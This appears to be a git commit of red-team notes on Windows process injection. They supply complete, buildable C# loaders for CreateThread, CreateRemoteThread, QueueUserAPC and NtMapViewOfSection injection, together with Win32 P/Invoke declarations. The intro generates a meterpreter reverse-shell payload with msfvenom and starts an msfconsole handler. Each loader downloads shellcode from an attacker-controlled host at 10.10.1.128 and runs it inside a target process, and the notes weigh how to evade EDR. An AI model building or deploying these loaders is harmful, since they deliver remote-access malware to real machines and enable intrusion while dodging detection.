first commit

This commit is contained in:
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,28 @@
# Process Injection Intro
Proc injection to write shellcode bytes into a program and execute the shellcode. These techniques have a range of OPSEC strengths and weaknesses.
Pull these `.cs` files into a Visual Studio solution and build in order to use them.
For all of these techniques, we will use a meterpreter payload hosted on a webserver:
```
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.1.128 LPORT=4444 -f raw > shellcode.bin
┌──(kali㉿kali)-[~/Desktop]
└─$ ip -br -c a
lo UNKNOWN 127.0.0.1/8 ::1/128
eth0 UP 10.10.1.128/24 fe80::20c:29ff:fede:1765/64
```
Host on python server and start msfconsole:
```
┌──(kali㉿kali)-[~/Desktop]
└─$ msfconsole -x "use multi/handler;set payload windows/x64/meterpreter_reverse_tcp; set LHOST 10.10.1.128; set LPORT 4444; run"an use this or Vanara:
```
Each of these techniques make use of a `Win32.cs` class file that import the types, delegates, and structs needed to call the Win32 API directly. All relevant code for performing the injection itself will be in the main class file within each notebook (i.e. `CreateThread.cs`). You can use them or another P/Invoke method (I recommend Vanara)
[https://github.com/dahall/Vanara](https://github.com/dahall/Vanara)
@@ -0,0 +1,143 @@
# CreateRemoteThread
The classic. Pretty OPSEC unsafe, all things considered. Opens a remote process, maps shellcode bytes into a section of memory (RWX mem), and creates a thread in the remote process to execute.
`CreateRemoteThread.cs`
```csharp
using System;
using System.Diagnostics;
using System.Net.Http;
using System.Threading.Tasks;
namespace CreateRemoteThread
{
internal class Program
{
static async Task Main(string[] args)
{
byte[] shellcode;
using (var client = new HttpClient())
shellcode = await client.GetByteArrayAsync("http://10.10.1.128/shellcode.bin");
// Open handle to process
var process = Process.GetProcessById(8712);
// Allocate a region of memory
var baseAddress = Win32.VirtualAllocEx(
process.Handle,
IntPtr.Zero,
(uint)shellcode.Length,
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
Win32.MemoryProtection.ReadWrite);
// Write shellcode into region
Win32.WriteProcessMemory(
process.Handle,
baseAddress,
shellcode,
shellcode.Length,
out _);
// Flip memory region to RX
Win32.VirtualProtectEx(
process.Handle,
baseAddress,
(uint)shellcode.Length,
Win32.MemoryProtection.ExecuteRead,
out _);
// Create the new thread
Win32.CreateRemoteThread(
process.Handle,
IntPtr.Zero,
0,
baseAddress,
IntPtr.Zero,
0,
out _);
// Shellcode is runing in a remote process
// no need to stop this process from closing
}
}
}
```
`Win32.cs`
```csharp
using System;
using System.Runtime.InteropServices;
namespace CreateRemoteThread
{
internal class Win32
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
MemoryProtection flNewProtect,
out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
```
@@ -0,0 +1,130 @@
# CreateThread
Most simple injection technique, performs a self injection into the current running process. Shellcode is executed inline.
`program.cs`
```csharp
using System;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
namespace CreateThread
{
internal class Program
{
static async Task Main(string[] args)
{
byte[] shellcode;
var addr = "http://10.10.1.128/shellcode.bin";
using (var client = new HttpClient())
{
shellcode = await client.GetByteArrayAsync(addr);
}
// allocate base addr as RW
var baseAddr = Win32.VirtualAlloc(
IntPtr.Zero,
(uint)shellcode.Length,
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
Win32.MemoryProtection.ReadWrite);
// copy shellcode into mem
Marshal.Copy(shellcode, 0, baseAddr, shellcode.Length);
// Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _`
Win32.VirtualProtect(
baseAddr,
(uint)shellcode.Length,
Win32.MemoryProtection.ExecuteRead,
out _);
// Call CreateThread
var hThread = Win32.CreateThread(
IntPtr.Zero,
0,
baseAddr,
IntPtr.Zero,
0,
out _);
// CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running
Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
```
`Win32.cs`
```csharp
using System;
using System.Runtime.InteropServices;
namespace CreateThread
{
internal class Win32
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(
IntPtr lpAddress,
uint dwSize,
MemoryProtection flNewProtect,
out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
```
@@ -0,0 +1,230 @@
# QueueUserAPC
Used alternatively to CRT and tends to be less scrutinized (Falcon still smacks it down tho)
1. Spawn a process in a suspended state, queue the APC on the primary thread and resume.
or
1. Enumerate threads of an existing process and queue the APC on one of them.
1. Wait for that thread to enter an alerted state, or
2. Force that thread to enter an alerted state.
First option is more straight forward.
`QueueUserAPC.cs`
```csharp
using System;
using System.ComponentModel;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
namespace QueueUserAPC
{
internal class Program
{
static async Task Main(string[] args)
{
var si = new Win32.STARTUPINFO();
si.cb = Marshal.SizeOf(si);
var pa = new Win32.SECURITY_ATTRIBUTES();
pa.nLength = Marshal.SizeOf(pa);
var ta = new Win32.SECURITY_ATTRIBUTES();
ta.nLength = Marshal.SizeOf(ta);
var pi = new Win32.PROCESS_INFORMATION();
var success = Win32.CreateProcessW(
"C:\\Windows\\System32\\calc.exe",
null,
ref ta,
ref pa,
false,
0x00000004, // CREATE_SUSPENDED
IntPtr.Zero,
"C:\\Windows\\System32",
ref si,
out pi);
// If we failed to spawn the process, just bail
if (!success)
throw new Win32Exception(Marshal.GetLastWin32Error());
// gather shellcode
byte[] shellcode;
var addr = "http://10.10.1.128/shellcode.bin";
using (var client = new HttpClient())
shellcode = await client.GetByteArrayAsync(addr);
// Allocate mem
var baseAddress = Win32.VirtualAllocEx(
pi.hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
Win32.MemoryProtection.ReadWrite);
// Write shellcode, discard
Win32.WriteProcessMemory(
pi.hProcess,
baseAddress,
shellcode,
shellcode.Length,
out _);
// Flip mem protection, discard
Win32.VirtualProtectEx(
pi.hProcess,
baseAddress,
(uint)shellcode.Length,
Win32.MemoryProtection.ExecuteRead,
out _);
// Queue the APC, discard
Win32.QueueUserAPC(
baseAddress,
pi.hThread,
0);
// Resume thread
Win32.ResumeThread(pi.hThread);
}
}
}
```
`Win32.cs`
```csharp
using System;
using System.Runtime.InteropServices;
namespace QueueUserAPC
{
internal class Win32
{
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern bool CreateProcessW(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
MemoryProtection flNewProtect,
out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern uint QueueUserAPC(
IntPtr pfnAPC,
IntPtr hThread,
uint dwData);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(
IntPtr hThread);
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
```
@@ -0,0 +1,140 @@
# NtMapViewOfSection
Nt*Section APIs are undocumented but can be powerful alternatives to VirtualAllocEx, WriteProcMem and VirtProtectEx
[NTAPI Undocumented Functions](http://undocumented.ntinternals.net/index.html)
`program.cs`
```csharp
using System;
using System.Diagnostics;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
namespace NtMapViewOfSection
{
internal class Program
{
static async Task Main(string[] args)
{
// as before, fetch shellcode
byte[] shellcode;
var addr = "http://10.10.1.128/shellcode.bin";
using (var client = new HttpClient())
shellcode = await client.GetByteArrayAsync(addr);
// create section within our current process as large as the shellcode size
var hSection = IntPtr.Zero;
var maxSize = (ulong)shellcode.Length;
Native.NtCreateSection(
ref hSection,
0x10000000, // SECTION_ALL_ACCESS
IntPtr.Zero,
ref maxSize,
0x40, // PAGE_EXECUTE_READWRITE
0x08000000,
IntPtr.Zero);
// Map the view o that section into the memory of the current proc as RW
Native.NtMapViewOfSection(
hSection,
(IntPtr)(-1), // targets the current process
out var localBaseAddress,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
out var _,
2, // ViewUnpat (created view will not be inherited by child process
0,
0x04); // PAGE_READWRITE
// Copy shellcode into memory of our own process
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);
// Get reference to target process (do this with the args IRL)
var target = Process.GetProcessById(7064);
// Map this region into the target process as RX
Native.NtMapViewOfSection(
hSection,
target.Handle,
out var remoteBaseAddress,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
out _,
2,
0,
0x20); // PAGE_EXECUTE_READWRITE
// Shellcode is now in the target process so execute it with a new thread
Native.NtCreateThreadEx(
out _,
0x001F0000, // STANDARD_RIGHTS_ALL
IntPtr.Zero,
target.Handle,
remoteBaseAddress,
IntPtr.Zero,
false,
0,
0,
0,
IntPtr.Zero);
}
}
}
```
`Native.cs`
```csharp
using System;
using System.Runtime.InteropServices;
namespace NtMapViewOfSection
{
internal class Native
{
[DllImport("ntdll.dll")]
public static extern uint NtCreateSection(
ref IntPtr SectionHandle,
uint DesiredAccess,
IntPtr ObjectAttributes,
ref ulong MaximumSize,
uint SectionPageProtection,
uint AllocationAttributes,
IntPtr FileHandle);
[DllImport("ntdll.dll")]
public static extern uint NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
out IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
IntPtr SectionOffset,
out ulong ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect);
[DllImport("ntdll.dll")]
public static extern uint NtCreateThreadEx(
out IntPtr threadHandle,
uint desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList);
}
}
```
@@ -0,0 +1,3 @@
# Epilogue
Think of all the APIs we've covered like items on a menu. You can mix and match them to create your own style of injection. For instance, you could spawn a process in a suspended state, use the Nt*Section APIs to map and copy the shellcode, and then QueueUserAPC or NtQueueApcThread to execute it.
@@ -0,0 +1,18 @@
# Process Injection
Description: Methods of process injection and their OPSEC considerations
Done: Yes
---
[Process Injection Intro](1.%20Introduction.md)
[CreateThread](3.%20CreateThread.md)
[CreateRemoteThread](2.%20CreateRemoteThread.md)
[4. QueueUserAPC](4.%20QueueUserAPC.md)
[5. NtMapViewOfSection](5.%20NtMapViewOfSection.md)
[Epilogue](6.%20Epilogue.md)